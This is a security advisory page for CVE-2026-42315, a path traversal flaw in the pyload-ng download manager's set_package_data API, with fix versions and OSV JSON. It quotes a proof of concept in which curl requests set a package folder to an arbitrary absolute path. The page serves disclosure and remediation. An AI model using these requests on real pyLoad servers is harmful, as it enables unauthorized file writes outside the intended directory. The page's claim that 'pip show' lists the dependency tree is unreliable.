CVE-2026-42315: Pyload ng Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-838g-gr43-qqg9
Share
CVSS 8.1
CWE-36 CWE-22
Published
Advisory Summary

CVE-2026-42315 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-36: Absolute Path Traversal) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload vulnerable to path traversal via package folder name in set_package_data. Remediation is available by upgrading affected packages to version 0.5.0b3.dev100.

CVE-2026-42315 at a Glance

CVE Identifier CVE-2026-42315
GHSA Identifier GHSA-838g-gr43-qqg9
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-36: Absolute Path Traversal
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-42315

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: 0.5.0b3.dev100 
pip install pyload-ng>=0.5.0b3.dev100
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-42315, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev100), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary No sanitization of package folder name allows writing files anywhere outside the intended download directory. #### Affected Component - `src/pyload/core/api/__init__.py` - Function: `set_package_data()` ### Details When passing a folder name in the `set_package_data()` API function call inside the data object with key `"_folder"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package. ### PoC 1) Create a package, note response package ID e.g. `5` ``` curl -X 'POST' \ 'http://localhost:8000/api/add_package' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "name": "set_package_data_exploit_poc", "links": [ "http://example.com/file.txt" ], "dest": 1 }' ``` 2) Call set_package_data for this package ID with an arbitrary directory ``` curl -X 'POST' \ 'http://localhost:8000/api/set_package_data' \ -H 'accept: */*' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "package_id": 5, "data": { "_folder": "/users/root/" } }' ``` 3) New download folder will be set without any checks ``` curl -X 'GET' \ 'http://localhost:8000/api/get_queue' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' ``` Response: ``` [ { "pid": 5, "name": "set_package_data_exploit_poc", "folder": "/users/root/", "site": "", "password": "", "dest": 1, "order": 1, "linksdone": 0, "sizedone": 0, "sizetotal": 0, "linkstotal": 1, "links": null, "fids": null } ] ``` ### Impact Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

CVE-2026-42315 Affected Pyload ng Versions

1 component(s)
Fixed Versions:
0.5.0b3.dev100
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
pypi/pyload-ng
PyPI
< 0.5.0b3.dev100
0.5.0b3.dev100

References

GitHub Advisory / Wiki ADVISORY
https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9
NVD — CVE-2026-42315 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-42315
Pyload ng Source Repository REPOSITORY
https://github.com/pyload/pyload
Pyload ng Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml

Frequently Asked Questions

What is CVE-2026-42315?
CVE-2026-42315 is a security vulnerability in Pyload ng involving PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data under CWE-36: Absolute Path Traversal.
Which Pyload ng versions are affected?
Affected versions include releases prior to 0.5.0b3.dev100 across affected packages: pyload-ng.
What version fixes CVE-2026-42315?
Upgrading to 0.5.0b3.dev100 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to 0.5.0b3.dev100. Upgrade your dependency to 0.5.0b3.dev100 or later.
What is the CVSS score of CVE-2026-42315?
CVE-2026-42315 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-42315?
CVE-2026-42315 is classified under CWE-36: Absolute Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.).
How can I check PyPI dependencies for CVE-2026-42315?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-838g-gr43-qqg9",
  "modified" : "2026-06-08T19:48:40Z",
  "published" : "2026-05-05T21:18:19Z",
  "aliases" : [ "CVE-2026-42315" ],
  "summary" : "PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data",
  "details" : "### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/add_package' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}'\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X 'POST' \\\n  'http://localhost:8000/api/set_package_data' \\\n  -H 'accept: */*' \\\n  -H 'X-API-Key: <valid api key>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}'\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X 'GET' \\\n  'http://localhost:8000/api/get_queue' \\\n  -H 'accept: application/json' \\\n  -H 'X-API-Key: <valid api key>'\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev100"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.0b3.dev99"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42315"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-36" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:18:19Z",
    "nvd_published_at" : "2026-05-11T18:16:35Z"
  }
}